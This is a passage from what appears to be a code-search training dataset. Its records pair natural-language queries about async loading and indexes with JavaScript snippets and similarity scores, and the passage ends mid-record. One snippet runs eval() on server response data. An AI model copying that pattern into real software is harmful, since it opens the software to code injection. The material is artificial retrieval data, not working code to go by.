0, len = _args.length; i < len; i++) {\\n\\t\\t\\t promise = promiseThen(_args[i]);\\n\\t\\t\\t }\\n\\t\\t\\t return promise;\\n\\n\\t\\t\\t function promiseThen(_arg) {\\n\\t\\t\\t if (typeof _arg == 'function')\\n\\t\\t\\t return promise.then(_arg);\\n\\t\\t\\t else\\n\\t\\t\\t return promise.then(function () {\\n\\t\\t\\t var nowLoad = requiredData(_arg);\\n\\t\\t\\t if (!nowLoad)\\n\\t\\t\\t return $.error('Route resolve: Bad resource name [' + _arg + ']');\\n\\t\\t\\t return $ocLL.load(nowLoad);\\n\\t\\t\\t });\\n\\t\\t\\t }\\n\\n\\t\\t\\t function requiredData(name) {\\n\\t\\t\\t if (jsRequires.modules)\\n\\t\\t\\t for (var m in jsRequires.modules)\\n\\t\\t\\t if (jsRequires.modules[m].name && jsRequires.modules[m].name === name)\\n\\t\\t\\t return jsRequires.modules[m];\\n\\t\\t\\t return jsRequires.scripts && jsRequires.scripts[name];\\n\\t\\t\\t }\\n\\t\\t\\t}]\\n };\\n }\",\n \"function pullDatabase(){\\n return new Promise((resolve, reject) => {\\n try{\\n db.collection(\\\"Classic\\\").get().then((snapshot) => {\\n //characterArray will become filled with the documents from our Firebase database converted into Character classes\\n var characterArray = [];\\n snapshot.forEach((doc) => {\\n //console.log(doc.id, '=>', doc.data());\\n var character = doc.data();\\n characterArray.push(new Character(character.name, character.realm, character.level, character.race, character.class));\\n });\\n //returns the array of Character classes\\n resolve(characterArray);\\n })\\n .catch((err) => {\\n console.log('Error getting documents', err);\\n });\\n } catch (e){\\n reject(e);\\n }\\n }) \\n}\",\n \"listenForFeature(featuresRef) {\\n featuresRef.on('value', (dataSnapshot) => {\\n var tasks = [];\\n dataSnapshot.forEach((child) => {\\n tasks.push({\\n title: child.val().title,\\n uri: child.val().uri,\\n date: child.val().date,\\n type: child.val().type,\\n _key: child.key\\n });\\n });\\n\\n this.setState({\\n dataFeatures:tasks,\\n loading: false,\\n });\\n });\\n }\",\n \"function loadScene(url) {\\n let newObjects = [];\\n return new Promise((resolve, reject) => {\\n new GLTFLoader().load( url, \\n function (object) {\\n // On Load\\n console.log(object);\\n object.scene.children.forEach((prop, i) => newObjects[i] = prop); // Add all props from the scene into the objects array.\\n //scene.add(object.scene);\\n resolve(newObjects);\\n },\\n function (XMLHttpRequest) {\\n // On Progress\\n console.log(\\\"Loading Scene... \\\", XMLHttpRequest);\\n },\\n function (err) {\\n // On Error\\n console.log(err);\\n reject(err);\\n });\\n });\\n }\",\n \"async function getDataset() {\\n const [dataset, perfTimes] = await fetchMorpheusJson(\\n studyAccession,\\n genes,\\n cluster,\\n annotation.name,\\n annotation.type,\\n annotation.scope,\\n subsample\\n )\\n logFetchMorpheusDataset(perfTimes, cluster, annotation, genes)\\n return dataset\\n }\",\n \"function readIndividualFeatures(egoCenter, callback) {\\n console.log(\\\" - - Reading individual features.\\\");\\n var data = fs.readFileSync(\\\"../data/\\\" + egoCenter + \\\".feat\\\", 'utf8');\\n var featureArray = data.split(\\\"\\\\n\\\");\\n for (var feature of featureArray) {\\n var spaceIndex = feature.indexOf(\\\" \\\");\\n if (spaceIndex > 0) {\\n individualFeatures[feature.substring(0, spaceIndex)] = feature.substring(spaceIndex + 1, feature.length).split(\\\" \\\");\\n }\\n }\\n}\",\n \"function init(count) {\\n var count = count || 1\\n var promise = new Promise((resolve, reject) => {\\n getLookupData(odsaStore)\\n .then((lookups) => {\\n getTimeTrackingData(odsaStore, lookups, count)\\n .then((vizData) => {\\n $('#reload_data').show()\\n $('#generate_data').show()\\n $('.accordionjs').show()\\n initViz(vizData, lookups)\\n .then(() => {\\n $(\\\"#tools-accordion\\\").accordionjs({ activeIndex: false, closeAble: true })\\n $(\\\"#tools-accordion-exs\\\").accordionjs({ activeIndex: false, closeAble: true })\\n initExTools(lookups)\\n resolve()\\n })\\n })\\n .catch((err) => {\\n console.log(err)\\n errDialog(err)\\n })\\n })\\n .catch((err) => {\\n console.log(err)\\n errDialog(err)\\n })\\n })\\n return promise\\n }\",\n \"function resolvePromises() {\\n resolvePromisesFn(autoflow);\\n }\",\n \"function fetchCountries(){\\n console.log('IMonData: [Countries] Fetching data..');\\n var store = new Store();\\n var futures = [];\\n var baseUrl = 'https://thenetmonitor.org/v2/countries';\\n\\n var fut = HTTP.get.future()(baseUrl, { timeout: Settings.timeout*3 });\\n futures.push(fut);\\n var results = fut.wait();\\n store.sync(results.data);\\n _.each(results.data.data, function(d){\\n store.sync(d.relationships.data_points);\\n });\\n\\n console.log('IMonData: [Countries] Data fetched.');\\n Future.wait(futures);\\n\\n var insert = function(){\\n console.log('IMonData: [Countries] Inserting...');\\n _.each(store.findAll('countries'), insertCountryData);\\n console.log('IMonData: [Countries] Inserted.');\\n };\\n\\n Future.task(insert);\\n\\n}\",\n \"function loadSequence() {\\n var _args = arguments;\\n return {\\n deps: ['$ocLazyLoad', '$q',\\n function ($ocLL, $q) {\\n var promise = $q.when(1);\\n for (var i = 0, len = _args.length; i < len; i++) {\\n promise = promiseThen(_args[i]);\\n }\\n return promise;\\n\\n function promiseThen(_arg) {\\n if (typeof _arg == 'function')\\n return promise.then(_arg);\\n else\\n return promise.then(function () {\\n var nowLoad = requiredData(_arg);\\n if (!nowLoad)\\n return $.error('Route resolve: Bad resource name [' + _arg + ']');\\n return $ocLL.load(nowLoad);\\n });\\n }\\n\\n function requiredData(name) {\\n if (jsRequires.modules)\\n for (var m in jsRequires.modules)\\n if (jsRequires.modules[m].name && jsRequires.modules[m].name === name)\\n return jsRequires.modules[m];\\n return jsRequires.scripts && jsRequires.scripts[name];\\n }\\n }]\\n };\\n }\",\n \"function loadSequence() {\\n var _args = arguments;\\n return {\\n deps: ['$ocLazyLoad', '$q',\\n function ($ocLL, $q) {\\n var promise = $q.when(1);\\n for (var i = 0, len = _args.length; i < len; i++) {\\n promise = promiseThen(_args[i]);\\n }\\n return promise;\\n\\n function promiseThen(_arg) {\\n if (typeof _arg == 'function')\\n return promise.then(_arg);\\n else\\n return promise.then(function () {\\n var nowLoad = requiredData(_arg);\\n if (!nowLoad)\\n return $.error('Route resolve: Bad resource name [' + _arg + ']');\\n return $ocLL.load(nowLoad);\\n });\\n }\\n\\n function requiredData(name) {\\n if (jsRequires.modules)\\n for (var m in jsRequires.modules)\\n if (jsRequires.modules[m].name && jsRequires.modules[m].name === name)\\n return jsRequires.modules[m];\\n return jsRequires.scripts && jsRequires.scripts[name];\\n }\\n }]\\n };\\n }\",\n \"function loadSequence() {\\n var _args = arguments;\\n return {\\n deps: ['$ocLazyLoad', '$q',\\n function ($ocLL, $q) {\\n var promise = $q.when(1);\\n for (var i = 0, len = _args.length; i < len; i++) {\\n promise = promiseThen(_args[i]);\\n }\\n return promise;\\n\\n function promiseThen(_arg) {\\n if (typeof _arg == 'function')\\n return promise.then(_arg);\\n else\\n return promise.then(function () {\\n var nowLoad = requiredData(_arg);\\n if (!nowLoad)\\n return $.error('Route resolve: Bad resource name [' + _arg + ']');\\n return $ocLL.load(nowLoad);\\n });\\n }\\n\\n function requiredData(name) {\\n if (jsRequires.modules)\\n for (var m in jsRequires.modules)\\n if (jsRequires.modules[m].name && jsRequires.modules[m].name === name)\\n return jsRequires.modules[m];\\n return jsRequires.scripts && jsRequires.scripts[name];\\n }\\n }]\\n };\\n }\",\n \"function loadSequence() {\\n var _args = arguments;\\n return {\\n deps: ['$ocLazyLoad', '$q',\\n function ($ocLL, $q) {\\n var promise = $q.when(1);\\n for (var i = 0, len = _args.length; i < len; i++) {\\n promise = promiseThen(_args[i]);\\n }\\n return promise;\\n\\n function promiseThen(_arg) {\\n if (typeof _arg == 'function')\\n return promise.then(_arg);\\n else\\n return promise.then(function () {\\n var nowLoad = requiredData(_arg);\\n if (!nowLoad)\\n return $.error('Route resolve: Bad resource name [' + _arg + ']');\\n return $ocLL.load(nowLoad);\\n });\\n }\\n\\n function requiredData(name) {\\n if (jsRequires.modules)\\n for (var m in jsRequires.modules)\\n if (jsRequires.modules[m].name && jsRequires.modules[m].name === name)\\n return jsRequires.modules[m];\\n return jsRequires.scripts && jsRequires.scripts[name];\\n }\\n }]\\n };\\n }\",\n \"function loadfloodIncidentlayer(floodincidentdata){\\r\\nfloodincidentjson = JSON.parse(floodincidentdata);\\r\\n\\r\\nvar features = []; \\r\\nfeatures = floodincidentjson.features; \\r\\nvar jproperties = floodincidentjson.features.map(function (el) { return el.properties; });\\r\\nvar i;\\r\\nfor (i = 0; i < jproperties.length; i++) { \\r\\n\\tfloodincarray.push(Object.values(jproperties[i]));\\r\\n}\\r\\n\\r\\n}\",\n \"function loadSequence() {\\n var _args = arguments;\\n return {\\n deps: ['$ocLazyLoad', '$q',\\n function ($ocLL, $q) {\\n var promise = $q.when(1);\\n for (var i = 0, len = _args.length; i < len; i++) {\\n promise = promiseThen(_args[i]);\\n }\\n return promise;\\n\\n function promiseThen(_arg) {\\n if (typeof _arg === 'function')\\n return promise.then(_arg);\\n else\\n return promise.then(function () {\\n var nowLoad = requiredData(_arg);\\n if (!nowLoad)\\n return $.error('Route resolve: Bad resource name [' + _arg + ']');\\n return $ocLL.load(nowLoad);\\n });\\n }\\n\\n function requiredData(name) {\\n if (jsRequires.modules)\\n for (var m in jsRequires.modules)\\n if (jsRequires.modules[m].name && jsRequires.modules[m].name === name)\\n return jsRequires.modules[m];\\n return jsRequires.scripts && jsRequires.scripts[name];\\n }\\n }]\\n };\\n }\",\n \"function loadSequence() {\\r\\n var _args = arguments;\\r\\n return {\\r\\n deps: ['$ocLazyLoad', '$q',\\r\\n\\t\\t\\tfunction ($ocLL, $q) {\\r\\n\\t\\t\\t var promise = $q.when(1);\\r\\n\\t\\t\\t for (var i = 0, len = _args.length; i < len; i++) {\\r\\n\\t\\t\\t promise = promiseThen(_args[i]);\\r\\n\\t\\t\\t }\\r\\n\\t\\t\\t return promise;\\r\\n\\r\\n\\t\\t\\t function promiseThen(_arg) {\\r\\n\\t\\t\\t if (typeof _arg == 'function')\\r\\n\\t\\t\\t return promise.then(_arg);\\r\\n\\t\\t\\t else\\r\\n\\t\\t\\t return promise.then(function () {\\r\\n\\t\\t\\t var nowLoad = requiredData(_arg);\\r\\n\\t\\t\\t if (!nowLoad)\\r\\n\\t\\t\\t return $.error('Route resolve: Bad resource name [' + _arg + ']');\\r\\n\\t\\t\\t return $ocLL.load(nowLoad);\\r\\n\\t\\t\\t });\\r\\n\\t\\t\\t }\\r\\n\\r\\n\\t\\t\\t function requiredData(name) {\\r\\n\\t\\t\\t if (jsRequires.modules)\\r\\n\\t\\t\\t for (var m in jsRequires.modules)\\r\\n\\t\\t\\t if (jsRequires.modules[m].name && jsRequires.modules[m].name === name)\\r\\n\\t\\t\\t return jsRequires.modules[m];\\r\\n\\t\\t\\t return jsRequires.scripts && jsRequires.scripts[name];\\r\\n\\t\\t\\t }\\r\\n\\t\\t\\t}]\\r\\n };\\r\\n }\",\n \"function initFeatureList() {\\n var task = $(parameterAnalysisDateId).val();\\n if (task) {\\n $(featureListId).multiselect({\\n dropRight: true,\\n buttonWidth: \\\"100%\\\",\\n enableFiltering: true,\\n enableCaseInsensitiveFiltering: true,\\n nonSelectedText: \\\"请选择Feature\\\",\\n filterPlaceholder: \\\"搜索\\\",\\n nSelectedText: \\\"项被选中\\\",\\n includeSelectAllOption: true,\\n selectAllText: \\\"全选/取消全选\\\",\\n allSelectedText: \\\"已选中所有平台类型\\\",\\n maxHeight: 200,\\n width: 220\\n });\\n var url = \\\"paramQuery/getFeatureList\\\";\\n $.ajax({\\n type: \\\"post\\\",\\n url: url,\\n data: { db: task },\\n dataType: \\\"json\\\",\\n success: function(data) {\\n var newOptions = [];\\n var obj = {};\\n $(data).each(function(k, v) {\\n v = eval(\\\"(\\\" + v + \\\")\\\");\\n obj = {\\n label: v.text,\\n value: v.value\\n };\\n newOptions.push(obj);\\n });\\n obj = {\\n label: \\\"未知\\\",\\n value: \\\"unknow\\\"\\n };\\n newOptions.push(obj);\\n $(featureListId).multiselect(\\\"dataprovider\\\", newOptions);\\n // $(featureListId).multiselect(\\\"disable\\\");\\n }\\n });\\n }\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.6543959","0.61009336","0.590788","0.5869675","0.5767293","0.5726963","0.571669","0.5531802","0.54262996","0.5398379","0.53473455","0.52430815","0.5231676","0.5218503","0.5158587","0.5131139","0.5100868","0.5091692","0.50904274","0.50904274","0.5066121","0.5030894","0.50205815","0.50121015","0.4995787","0.49709815","0.4954698","0.4903145","0.4888073","0.4870576","0.48394224","0.48369497","0.47862184","0.47640306","0.47605303","0.47550443","0.47379023","0.4725368","0.47064677","0.4700897","0.4699966","0.4689712","0.4684454","0.46830428","0.46706071","0.46680006","0.4654902","0.46513668","0.4646964","0.4645155","0.46227476","0.46191597","0.45884728","0.45834622","0.45825723","0.45802325","0.45789054","0.45763195","0.45749685","0.45742044","0.45735636","0.45717853","0.4564178","0.45568419","0.45554277","0.45536968","0.45415452","0.45397845","0.4538857","0.453596","0.45329422","0.45301467","0.45219454","0.4506677","0.45028457","0.44986036","0.44982794","0.44976354","0.44851112","0.4478376","0.44738004","0.44733146","0.44722688","0.44722688","0.44712955","0.44680148","0.44593385","0.44573885","0.44570327","0.4456358","0.4450548","0.44487303","0.44476095","0.44476095","0.44476095","0.44476095","0.4447106","0.44455063","0.4443717","0.4435947"],"string":"[\n \"0.6543959\",\n \"0.61009336\",\n \"0.590788\",\n \"0.5869675\",\n \"0.5767293\",\n \"0.5726963\",\n \"0.571669\",\n \"0.5531802\",\n \"0.54262996\",\n \"0.5398379\",\n \"0.53473455\",\n \"0.52430815\",\n \"0.5231676\",\n \"0.5218503\",\n \"0.5158587\",\n \"0.5131139\",\n \"0.5100868\",\n \"0.5091692\",\n \"0.50904274\",\n \"0.50904274\",\n \"0.5066121\",\n \"0.5030894\",\n \"0.50205815\",\n \"0.50121015\",\n \"0.4995787\",\n \"0.49709815\",\n \"0.4954698\",\n \"0.4903145\",\n \"0.4888073\",\n \"0.4870576\",\n \"0.48394224\",\n \"0.48369497\",\n \"0.47862184\",\n \"0.47640306\",\n \"0.47605303\",\n \"0.47550443\",\n \"0.47379023\",\n \"0.4725368\",\n \"0.47064677\",\n \"0.4700897\",\n \"0.4699966\",\n \"0.4689712\",\n \"0.4684454\",\n \"0.46830428\",\n \"0.46706071\",\n \"0.46680006\",\n \"0.4654902\",\n \"0.46513668\",\n \"0.4646964\",\n \"0.4645155\",\n \"0.46227476\",\n \"0.46191597\",\n \"0.45884728\",\n \"0.45834622\",\n \"0.45825723\",\n \"0.45802325\",\n \"0.45789054\",\n \"0.45763195\",\n \"0.45749685\",\n \"0.45742044\",\n \"0.45735636\",\n \"0.45717853\",\n \"0.4564178\",\n \"0.45568419\",\n \"0.45554277\",\n \"0.45536968\",\n \"0.45415452\",\n \"0.45397845\",\n \"0.4538857\",\n \"0.453596\",\n \"0.45329422\",\n \"0.45301467\",\n \"0.45219454\",\n \"0.4506677\",\n \"0.45028457\",\n \"0.44986036\",\n \"0.44982794\",\n \"0.44976354\",\n \"0.44851112\",\n \"0.4478376\",\n \"0.44738004\",\n \"0.44733146\",\n \"0.44722688\",\n \"0.44722688\",\n \"0.44712955\",\n \"0.44680148\",\n \"0.44593385\",\n \"0.44573885\",\n \"0.44570327\",\n \"0.4456358\",\n \"0.4450548\",\n \"0.44487303\",\n \"0.44476095\",\n \"0.44476095\",\n \"0.44476095\",\n \"0.44476095\",\n \"0.4447106\",\n \"0.44455063\",\n \"0.4443717\",\n \"0.4435947\"\n]"},"document_score":{"kind":"string","value":"0.6294286"},"document_rank":{"kind":"string","value":"1"}}},{"rowIdx":74,"cells":{"query":{"kind":"string","value":"Return a Promise for the async loaded index"},"document":{"kind":"string","value":"async loadIndex() {\n const indexURL = this.config.indexURL\n return loadIndex(indexURL, this.config, this.genome)\n }"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["async getCurentIndex() {\n\n this.check()\n return await this.storage.loadIndex()\n }","async loadIndex() {\n const indexURL = this.config.indexURL;\n let indexFilename;\n if (isFilePath(indexURL)) {\n indexFilename = indexURL.name;\n } else {\n const uriParts = parseUri(indexURL);\n indexFilename = uriParts.file;\n }\n const isTabix = indexFilename.endsWith(\".tbi\") || this.filename.endsWith('.gz') || this.filename.endsWith('.bgz')\n let index;\n if (isTabix) {\n index = await loadBamIndex(indexURL, this.config, true, this.genome);\n } else {\n index = await loadTribbleIndex(indexURL, this.config, this.genome);\n }\n return index;\n }","async function getIndexes() {\n return await fetch('https://api.coingecko.com/api/v3/indexes').then(res => res.json());\n }","static loadProjectIndex(projectId) {\n return Promise( (resolve, reject) => {\n const url = ProjectIndex.APIUrlForProject(projectId);\n fetch(url).then( (response) => {\n if (response.status !== 200) reject(response.status);\n try {\n const json = response.json();\n const index = new ProjectIndex(\"/\", json.project);\n resolve(index);\n } catch (error) {\n reject(error);\n }\n })\n }\n\n static APIUrlForProject(projectId) {\n return `/API/getProjectIndex/${projectId}`;\n }","function load() {\n return Promise.all([storage.getTree(), storage.getTokenIndex(), storage.getEntries()])\n .then(function(result) {\n console.log('load results')\n tree = result[0];\n dbIndex = new Index(result[1]);\n entries = result[2];\n });\n}","async function loadData() {\n // Get the health of the connection\n let health = await connection.checkConnection();\n\n // Check the status of the connection\n if (health.statusCode === 200) {\n // Delete index\n await connection.deleteIndex().catch((err) => {\n console.log(err);\n });\n // Create Index\n await connection.createIndex().catch((err) => {\n console.log(err);\n });\n // If index exists\n if (await connection.indexExists()) {\n const parents = await rest.getRequest(rest.FlaskUrl + \"/N\");\n // If parents has the property containing the files\n if (parents.hasOwnProperty(\"data\")) {\n //Retrieve the parent list\n let parrentArray = parents.data;\n\n // Get amount of parents\n NumberOfParents = parrentArray.length;\n console.log(\"Number of parents to upload: \" + NumberOfParents);\n // Each function call to upload a JSON object to the index\n // delayed by 50ms\n parrentArray.forEach(delayedFunctionLoop(uploadParentToES, 50));\n }\n }\n } else {\n console.log(\"The connection failed\");\n }\n}","function getIndexId() {\n return new Promise((resolve, reject) => {\n fs.readFile(INDEX_FILE, (err, data) => {\n if (err || data === undefined) {\n reject(err);\n } else {\n const json = JSON.parse(data);\n resolve(json.id);\n }\n });\n });\n}","prepareIndiceForUpdate(indexData) {\n return Promise.resolve();\n }","getActIndex() {\n return __awaiter(this, void 0, void 0, function* () {\n return yield this._handleApiCall(`${this.gameBaseUrlPath}/act`, 'Error fetching the act index.');\n });\n }","async fetchExistingRecords () {\n const client = getAlgoliaClient()\n\n // return an empty array if the index does not exist yet\n const { items: indices } = await client.listIndices()\n\n if (!indices.find(index => index.name === this.name)) {\n console.log(`index '${this.name}' does not exist!`)\n return []\n }\n\n const index = client.initIndex(this.name)\n let records = []\n\n await index.browseObjects({\n batch: batch => (records = records.concat(batch))\n })\n\n return records\n }","async do(headers = {}) {\n\t\tlet res = await this.c.get(\"/v2/assets/\" + this.index, {}, headers);\n\t\treturn res.body;\n\t}","function index() {\n\n return resource.fetch()\n .then(function(data){ return data; });\n }","getByIndex(storeName, indexName, key) {\n return from(new Promise((resolve, reject) => {\n openDatabase(this.indexedDB, this.dbConfig.name, this.dbConfig.version)\n .then((db) => {\n validateBeforeTransaction(db, storeName, reject);\n const transaction = createTransaction(db, optionsGenerator(DBMode.readonly, storeName, reject, resolve));\n const objectStore = transaction.objectStore(storeName);\n const index = objectStore.index(indexName);\n const request = index.get(key);\n request.onsuccess = (event) => {\n resolve(event.target.result);\n };\n })\n .catch((reason) => reject(reason));\n }));\n }","async init() {\n var that = this;\n\n var promise = new Promise(function(resolve, reject) {\n\n var req = indexedDB.open(that.db_name, that.version);\n\n req.onupgradeneeded = function(event) {\n that.database = event.target.result;\n //run callback method in createTable to add a new object table\n that.upgrade();\n };\n\n req.onsuccess = function (event) {\n that.database = event.target.result;\n resolve();\n };\n\n req.onerror = function (error) {\n if (req.error.name === \"VersionError\") {\n //we can never be sure what version of the database the client is on\n //therefore in the event that we request an older version of the db than the client is on, we will need to update the js version request on runtime\n that.version++;\n\n //we need to initiate a steady increment of promise connections that either resolve or reject\n that.init()\n .then(function() {\n //bubble the result\n resolve();\n })\n .catch(function() {\n //bubble the result: DOESNT WORK?\n reject();\n });\n } else {\n console.error(error);\n }\n };\n });\n return promise;\n }","async function getIndex() {\n const contents = fs.readdirSync(`./${ipfs.host}/`);\n iLog('Trying to load indices from local files ...');\n for (i in contents) {\n if (contents[i][0] === 'i' && !fs.statSync(`./${ipfs.host}/${contents[i]}`).isDirectory()) {\n const indexFile = fs.readFileSync(`./${ipfs.host}/${contents[i]}`);\n const indexDump = JSON.parse(indexFile);\n global.indices[contents[i].substr(5,contents[i].length-10)] = elasticlunr.Index.load(indexDump);\n }\n }\n try {\n await fs.statSync(`./${ipfs.host}/hostedFiles.json`);\n global.ipfsearch.hostedFiles = JSON.parse(await fs.readFileSync(`./${ipfs.host}/hostedFiles.json`));\n } catch (e) { }\n if (Object.keys(global.indices).length === 0) {\n // file does not exist, create fresh index\n iLog('No local indices exist, generating new index files ...');\n const contents = fs.readdirSync(`./${ipfs.host}/`);\n for (i in contents) {\n if (fs.statSync(`./${ipfs.host}/${contents[i]}`).isDirectory()) {\n global.indices[contents[i]] = createIndex();\n await readFilesIntoObjects(contents[i], `./${ipfs.host}/${contents[i]}`);\n // save the index\n await saveIndex(global.indices[contents[i]], `./${ipfs.host}/index${contents[i]}.json`);\n }\n }\n }\n}","function readIndexJson() {\n return new Promise((resolve, reject) => {\n fs.readFile(INDEX_FILE, (err, data) => {\n if (err) reject(err);\n const json = JSON.parse(data);\n const promises = [];\n Object.keys(json).forEach((lang) => {\n if (LANG_SUPPORTED.includes(lang)) {\n promises.push(getJson(json[lang].raw.DestinyStatDefinition, `${STAT_DIR}/${lang}.json`));\n promises.push(getJson(json[lang].raw.DestinyClassDefinition, `${CLASS_DIR}/${lang}.json`));\n promises.push(getJson(json[lang].items.Mod, `${MOD_DIR}/${lang}.json`));\n promises.push(getJson(json[lang].raw.DestinyInventoryBucketDefinition, `${BUCKET_DIR}/${lang}.json`));\n promises.push(getJson(json[lang].items.Armor, `${ARMOR_DIR}/${lang}.json`));\n promises.push(getJson(json[lang].items.Weapon, `${WEAPON_DIR}/${lang}.json`));\n }\n });\n Promise.all(promises)\n .then(() => {\n resolve();\n })\n .catch((pErr) => {\n console.log(pErr);\n reject(pErr);\n });\n });\n });\n}","function loadIndex() {\n\tvar indexRequest = new XMLHttpRequest();\n\tindexRequest.open(\"GET\", \"https://mustang-index.azurewebsites.net/index.json\");\n\tindexRequest.onload = function() {\n\t\tconsole.log(\"Index JSON file:\" + indexRequest.responseText);\n\t\tcontactIndex = JSON.parse(indexRequest.responseText);\n\t\tcontactURLArray.length = 0;\n\t\tfor(i = 0; i < contactIndex.length; i++) {\n\t\t\tcontactURLArray.push(contactIndex[i].ContactURL);\n\t\t}\n\t\tconsole.log(\"ContactURLArray: \" + JSON.stringify(contactURLArray));\n\t\trenderIndex(contactIndex);\n\t\tshowSnackbar(\"Index loaded\");\n\t}\n\tindexRequest.send();\n}","async load(indexRootUrl, searchHint) {\n const enumValueIds = searchHint;\n const promises = enumValueIds.map(async (valueId) => {\n const value = this.values[valueId];\n if (value.dataRowIds)\n return Promise.resolve();\n const promise = loadCsv(joinUrl(indexRootUrl, value.url), {\n dynamicTyping: true,\n header: true\n }).then(rows => rows.map(({ dataRowId }) => dataRowId));\n value.dataRowIds = promise;\n return promise;\n });\n await Promise.all(promises);\n }","async createIndexJson(url) {\n \treturn this.rs.readFolder(url).then(folder => {\n \t\tvar promises = [];\n \t\tthis.index = {};\n \t\tif (folder.files.length == 0) {\n \t\t\tpromises.push(this.index)\n \t\t} else {\n\t\t\t\tlet i\n\t\t\t\t\tfor ( i = 0; i < folder.files.length ; i ++) {\n\t\t\t\t\t\tlet file = folder.files[i].name.split(\".\");\n\t\t\t\t\t\tif (file.pop() == \"ttl\") {\n\t\t\t\t\t\t\tvar title = file.join(\".\")\n\t\t\t\t\t\t\tpromises.push(\n\t\t\t\t\t\t\tthis.rs.rdf.query(url+title+\".ttl\")\n\t\t\t\t\t\t\t.then(queryRes => {\n\t\t\t\t\t\t\t\tthis.jsonTiddler(queryRes)\n\t\t\t\t\t\t\t\tdelete this.tiddlerJson[\"text\"]\n\t\t\t\t\t\t\t\tthis.index[this.tiddlerJson[\"title\"]] = this.tiddlerJson;\n\t\t\t\t\t\t\t},err => {alert(\"title \"+err)})\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t)\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn Promise.all(promises).then( success => {\n\t\t\t\t\treturn this.index\n\t\t\t},err => {alert(\"Are some .ttl files not tiddlers ??? \\n\"+err)})\n \t})\n }","function load(index) {\n return loadInternal(index, viewData);\n}","indexPage(req) {\n return __awaiter(this, void 0, void 0, function* () {\n });\n }","prepareIndiceForInstall(indexData) {\n return Promise.resolve();\n }","getCachedDataByIndex(storename, index, key) {\n return this.cache.then((db) => {\n return db.transaction(storename).objectStore(storename).index(index).getAll(key);\n });\n }","_updateIndex() {\n return __awaiter(this, void 0, void 0, function* () {\n //creates index file if it doesn't already exist\n let inCouch = yield this._isInCouch(\"index\", \"index\");\n if (!inCouch) {\n yield this.couchdb.createDatabase(\"index\");\n yield this.couchdb.createDocument(\"index\", {}, \"index\");\n }\n let data = yield readFile(path.join(this.localRepoPath, \"/EventIndex.json\"), \"utf8\");\n let json = JSON.parse(data.replace(/&quot;/g, '\\\\\"'));\n let events = json[\"Events\"];\n events.sort(function (a, b) {\n return Date.parse(b.StartDate) - Date.parse(a.StartDate);\n });\n let couchDocument = yield this.couchdb.getDocument(\"index\", \"index\");\n yield this.couchdb.createDocument(\"index\", { Events: events, \"_rev\": couchDocument.data[\"_rev\"] }, \"index\");\n });\n }","async getLoadOperation() {}","function loadIndex() {\n var idxFile = this.indexURL;\n\n if (this.filename.endsWith(\".gz\")) {\n if (!idxFile) idxFile = this.url + \".tbi\";\n return igv.loadBamIndex(idxFile, this.config, true);\n } else {\n if (!idxFile) idxFile = this.url + \".idx\";\n return igv.loadTribbleIndex(idxFile, this.config);\n }\n }","loadIndexPage () {\n return Promise.resolve(Request.httpGet(this.SiteUrl + this.DefaultPrefix, this.CharSet).then(res => {\n let $ = cheerio.load(res.text);\n let Navis = $('#sliderNav > li');\n let Uid = new Date().getTime();\n Navis.each((i, elem) => {\n let _this = $(elem);\n let _ChildNodes = _this.find('> ul >li');\n let _SiteUrl = _this.find('>a').attr('href');\n if (_SiteUrl === './') {\n _SiteUrl = '../ssxx/'\n }\n\n let _SiteReg = /^javascript:/ig;\n this.ListNavis.push({\n Uid: `${Uid}${i}`,\n Section: _this.find('> a >span:first-child').text(),\n SiteUrl: _SiteReg.test(_SiteUrl) ? '' : _SiteUrl,\n HasChild: _ChildNodes && _ChildNodes.length > 0,\n ChildNodes: _ChildNodes && _ChildNodes.toArray().map((item, index) => {\n let _node = $(item).find('a');\n let _group = _node.text();\n let _uid = this.GroupDefine.has(_group) && this.GroupDefine.get(_group) || this.GroupDefine.set(_group, `${new Date().getTime()}${i}`).get(_group);\n return {\n Uid: _uid,\n Group: _node.text(),\n SiteUrl: _node.attr('href')\n };\n })\n });\n });\n\n /*保存首页数据*/\n Request.saveJsonToFile(this.ListNavis, 'index.json', this.Group, [...this.GroupDefine]);\n }).catch(err => {\n console.error(err);\n }));\n }","fetchIndex(){\n return this.http.fetch('data/index.json?t=' + new Date().getTime())\n .then(response=>{\n //convert text to json\n return response.json()\n })\n .then(json=>{\n let infos = json;\n return infos;\n });\n }","function wrappedFetch() {\n var wrappedPromise = {};\n\n var promise = new index_es(function (resolve, reject) {\n wrappedPromise.resolve = resolve;\n wrappedPromise.reject = reject;\n });\n\n var args = new Array(arguments.length);\n\n for (var i = 0; i < args.length; i++) {\n args[i] = arguments[i];\n }\n\n wrappedPromise.promise = promise;\n\n index_es.resolve().then(function () {\n return fetch.apply(null, args);\n }).then(function (response) {\n wrappedPromise.resolve(response);\n }).catch(function (error) {\n wrappedPromise.reject(error);\n });\n\n return wrappedPromise;\n}","function page(index) {\n var item = internal.loader.info(index),\n res;\n if (item) {\n res = {\n index: item.index,\n data: item.cached,\n loading: item.queued || item.loading || item.waiting,\n cancel: item.cancel\n };\n } else {\n res = null;\n }\n return res;\n }","getAddressIndex() {\n return __awaiter(this, void 0, void 0, function* () {\n return yield this.request(\"get_address_index\");\n });\n }","async beginIndexRequest() {\n const keyString = this.idsToIndex.shift();\n const provider = this;\n\n this.pendingRequests += 1;\n const identifier = await this.openmct.objects.parseKeyString(keyString);\n const domainObject = await this.openmct.objects.get(identifier.key);\n delete provider.pendingIndex[keyString];\n try {\n if (domainObject) {\n await provider.index(identifier, domainObject);\n }\n } catch (error) {\n console.warn('Failed to index domain object ' + keyString, error);\n }\n\n setTimeout(function () {\n provider.pendingRequests -= 1;\n provider.keepIndexing();\n }, 0);\n }","indexCountry() {\n return new Promise(function (resolve, reject) {\n logger.info('indexCountry() Initiated')\n let sql = sqlObj.dashboardStatus.indexCountry;\n dbInstance.doRead(sql)\n .then(result => {\n logger.info('indexCountry() Exited Successfully')\n resolve(result);\n })\n .catch(err => {\n logger.error('indexCountry() Error')\n reject(err);\n })\n })\n }","async getBlockByIndex() {\r\n this.server.route({\r\n method: 'GET',\r\n path: '/api/block/{index}',\r\n handler: async (request, h) => {\r\n let block = await this.blockChain.getBlock(request.params.index);\r\n if(!block){\r\n throw Boom.notFound(\"Block not 